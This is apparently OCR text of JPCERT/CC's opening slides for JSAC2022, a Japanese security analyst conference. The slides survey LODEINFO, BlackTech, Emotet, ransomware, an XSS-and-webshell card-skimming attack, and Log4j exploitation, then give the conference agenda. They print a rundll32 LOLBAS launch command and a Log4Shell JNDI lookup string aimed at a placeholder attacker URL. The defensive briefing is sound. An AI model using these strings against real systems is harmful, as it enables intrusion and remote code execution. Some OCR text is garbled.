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Two Major Attack Types

Targeted |Widespread

(Attack aimed to steal (Attack aimed to
confidential steal money)
Information)
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Targeted Attack
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LODEINFO
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Version History

2019/12-2020/12 2021/01-/02
v0.1.2-v0.4.6 v0.4.8

2021/01 2021/04-/05

v0.4.7 v0.4.9
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Change in Launch Method

DLL side Loading DLL side loading
(v0.3.X) Via LOLBAS(v0.4.x)

Execute: rundll32.exe advpack.dll,RegisterOCX
<path to executable file>

D 1 [ e e e e S EmE=m——
DOC DOC
2. Create 1. Create 2. Create
Execute Execute

@ 3. Load

Legitimate file LODEINFO
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[@ 3. Load

Legitimate file LODEINFO




Changes in Commands

ecd, Is
esend, recv
ecat
ememory
«kill

ever
ecommand
eprint

erm
eransom
*keylog
emv, cp, mkdir
*ps, pkill

ecd, Is
esend, recv
ecat
ememory
«kill

ever
ecommand
eprint

erm
eransom
*keylog
emv, cp, mkdir
*ps, pkill
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ecd, Is
esend, recv
ecat
ememory
«kill

ever
ecommand
eprint

rm
eransom
*keylog
emv, cp, mkdir
*ps, pkill

scome
cautorun
*(config)

(): The commands in brackets have
not been implemented but just added
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BlackTech
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GhOstTimes (similarity to GhOstRAT)
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Panel for GhOstRAT(Times)
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Widespread Attack
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Emotet
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Emotet Takedown
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The number of infected IP addresses/computer names per day
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Emotet Restarts (Multiple updates to our blog )
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Ransomware Attack
with Penetration




le of Ransomware Reported to JPCERT/CC

Ragnar Locker Agelocker
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Publication(FAQ)
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Attack Exploiting XSS
Vulnerability IN
E-commerce Websites




Attack Overview

1. Perform purchase process expleiting XS5 vulnerability

&. Access WebShell regularly

| - |
Attacker

4. Set up WebShell

Attacker’s server

3. Steal credentials
5. Save credit card information etc.
each time of purchase

2. Execute script upon access
to administrator page

Administrator User
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Stealing Administrator’s Account Information
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Stealing Credit Card Informatlon

E-commerce site

Send
EnE R P Information n n Information
stealing storing
JavaSeript JavaSeript
o Transactionfogin e Steal credit card information atc,
events Save
User

Information storage file |

ProductOplionimglenyjpg
Access via WebShell (assumed)

Attacker

Flow of attack

20 \ Copyright ©2022 JPCERT/CC All rights reserved.



Attack Exploiting
Apache Log4]
Vulnerability
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Attack Scenario

Send malicious string

${jndi:ldap://<URL for malicious Java code>}E

System coded by Java

>

m I Log4j
<L Attacker O _
/ N\ Q Lookup function

[z
v Log

\_ y, s
. Download Execute -\
malicious Java code via JNDI malicious code | <%
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Attack Activity
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Observation of scan activities exploiting Apache Log4j vulnerability
(Source: JPCERT/CC Honeypot: Dec 10t 2021 Jan 19, 20
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Analysis Tool
(Public project)

24 \ Copyright ©2022 JPCERT/CC All rights reserved.




JPCERT/CC Yara Rule (Just Released!)

‘@) JPCERTCC / jpcert-yara

APT10
APT29
BlackTech
Darkhotel
DragonCK
Lazarus

Tick

other Added new yara rule

8 categories
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Lucky Visitor Scam

$ B2 Internet Explorer 1—H—I,
HiZTz(E 58 14, 2021 OSYHF—ESH—TT

Tour— RCEXTWERWEAIC, [910¢&S) #1466 T Apple iPhone 12
Pro 'Yz aF v > AEEL EITET !
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Lucky-Visitor-Scam-1o0C
B Monitoring C2 servers automatically for Lucky visitor scam
M 10Cs are published on GitHub (Updated everyday)

O JPCERTCC / Lucky-Visitor-Scam-loC

Lucky Visitor Scam loCs

Reference
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How to enjoy

JSAG2022

Online & 2Days




15t Day(1/27): Conference Day
-_-_

Ambiguous Black: The current state of
BlackTech's arsenal

LueYu: Continuous Espionage Activities
A  Targeting Japan with the new version of
WinDealer in 2021

Emotet vs EmoCheck: The Fight against

A Emotet Developers
Crazy Journey: Evolution of Smoky
A/D
Camouflage
B ma2tl: macOS Forensics Timeline

Generator Using mac_apt Analysis Results
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An Order of Magnitude Update

Combatting against malicious proxy
services in Japan

What We Can Do against the Chaotic
A41APT Campaign

Research on Unique Adversaries and its
D Attack Tools Targeting Widespread CMS in
Japan

[A] Malware

[B] Forensics

[C] Incident analysis, response and attack
method

[D] Threat trends and intelligence




2"d Day(1/28): Workshop Day
-]

WI[B] An Introduction to macOS Forensies with Open Source Software
WIA/C] YARA Pretty Darby: Hunt the Spider like a Champ

[A] Malware

[B] Forensics

[C] Incident analysis, response and attack method
[D] Threat trends and intelligence
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Networking

JSAC2022 - 6 # general -

"ﬂmrk Securi
nalvst

& slack
Powered by '.
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Follow-up Event

[itle: After JSAC2022
Delivery: Online
Date & Time: 2/18(Fri.) 16:00 - 17:00

Contents(tentative):

1. Best speaker award

2. Looking back on JSAC2022

3. Discussion of challenges for resent incident response
4. Towards JSAC2023
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Code of Conduct
Code of Conduct

Japan Security Analyst Conference (JSAC) is a conference for security analysts who handle cyber
security incidents on a daily basis. This conference is designed for all security analysts to
develop analysis and response capabilities and create a network amongst participants by sharing
experience, technique, and information with each other to deal with ever-evolving cyber attacks
today and in the future.

To make this conference secure and fruitful for all attendees and speakers, the conference
organiser, JPCERT/CC, establishes the Code of Conduct.

All attendees including speakers and sponsors (hereinafter referred to as participants) at our
conference are required to agree with the following code of conduct. We will enforce this code
throughout the event. We expect cooperation from all participants to help ensure a safe
environment for everybody. We will also comply with the code.

https:.//jsac.jpcert. or. jp/en/coc html
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Thank you!
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